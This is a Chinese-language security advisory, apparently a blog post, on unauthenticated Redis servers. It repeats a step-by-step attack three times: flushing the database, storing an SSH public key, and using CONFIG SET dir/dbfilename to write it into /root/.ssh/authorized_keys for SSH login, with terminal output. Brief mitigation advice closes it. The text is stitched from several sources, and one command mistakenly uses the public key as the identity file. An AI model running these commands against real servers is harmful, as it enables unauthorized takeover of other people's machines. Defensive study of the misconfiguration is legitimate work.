redis配置不當可直接導致服務器被控制

近日我們監測到antirez.com曝出redis存在高危安全風險，攻擊者利用該風險可直接控制業務服務器，導致被入侵。
目前已監測到攻擊者正在利用該漏洞攻擊國內的服務器，手游類很多都是用的redis開放，而且未授權訪問。

攻擊方式：

當企業所使用的redis對外開放且存在未授權訪問的情況下（這是redis安裝時的默認配置），攻擊者則可以通過redis在服務器上寫入公鑰，從而可以從外部直接登入服務器，達到入侵的目的。

1. 詳細攻擊方式如下：
   1. 事先先准備好自己的公鑰，寫入一個本地文件foo.txt。
   $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
   2. 通過redis將該文件寫入內存
   $ redis-cli -h 192.168.1.11 flushall
   $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
   3. 利用redis-cli 寫入配置的方式將公鑰寫入到.ssh目錄下
   $ redis-cli -h 192.168.1.11
   192.168.1.11:6379> config set dir /Users/antirez/.ssh/
   OK
   192.168.1.11:6379> config get dir
   1) "dir"
   2) "/Users/antirez/.ssh"
   192.168.1.11:6379> config set dbfilename "authorized_keys"
   OK
   192.168.1.11:6379> save
   OK
   4.然後就可以通過自己的私鑰登陸服務器

 

攻擊測試：

服務器配置不當包括三個部分:
1.Redis服務使用ROOT賬號啟動
2.Redis服務無密碼認證或者使用的是弱口令進行認證
3.服務器開放了SSH服務，而且允許使用密鑰登錄

簡單的寫下過程

測試環境
victim server CentOS6.6 192.168.1.11
attack server CentOS6.6+redis2.4 192.168.1.12

$ telnet 192.168.1.11 6379
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

表明了Redis是正常工作的，而且不需要進行身份認證。

先在attack server生成一個公鑰

$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
|          .   O+.|
|       . o o..o*o|
|      = . + .+ . |
|     o B o    .  |
|    . o S    E . |
|     .        o  |
|                 |
|                 |
|                 |
+-----------------+

這樣有了一個公鑰，但是需要把這個公鑰復制到目標機器

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Now foo.txt is just our public key but with newlines. We can write this string inside the memory of Redis using redis-cli:

$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

Looks good. How to dump our memory content into the authorized_keys file? That’s kinda trivial.

$ redis-cli -h 192.168.1.11
192.168.1.11:6379> config set dir /Users/antirez/.ssh/
OK
192.168.1.11:6379> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
192.168.1.11:6379> save
OK

At this point the target authorized keys file should be full of garbage, but should also include our public key. The string does not have simple patterns so it’s unlikely that it was compressed inside the RDB file. Will ssh be so naive to parse a totally corrupted file without issues, and accept the only sane entry inside?

$ ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Last login: Mon Nov  2 15:58:43 2015 from 192.168.1.10
~ ➤ hostname
Salvatores-MacBook-Air.local

###測試環境
```
victim server CentOS6.6+redis2.4  192.168.192.133
 
attack server CentOS6.6  192.168.192.132
 
```
 
先在attack server生成一個公鑰
```
ssh-keygen -t rsa -C "redis"
(echo -e "\n\n"; cat redis.pub; echo -e "\n\n") > redis.txt
```
然後執行
```
redis-cli -h 192.168.192.133 flushall
 
cat redis.txt | redis-cli -h 192.168.192.133 -x set pwn
 
```
登錄redis並修改其配置  redis-cli -h 192.168.192.133
```
CONFIG set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit
```
然後就可以使用ssh的公鑰登錄了
```
ssh -i redis.pub [email protected]

攻擊條件

1.redis對外開放，且未授權訪問（默認配置）
2.服務器的ssh對外開放，可通過key登錄

處理方案：

1.排查企業所使用的所有redis服務，確定影響范圍
2.限制redis對外訪問的權限，可考慮啟用密碼認證和設置ip訪問限制
3.ssh等服務盡量不要對外開放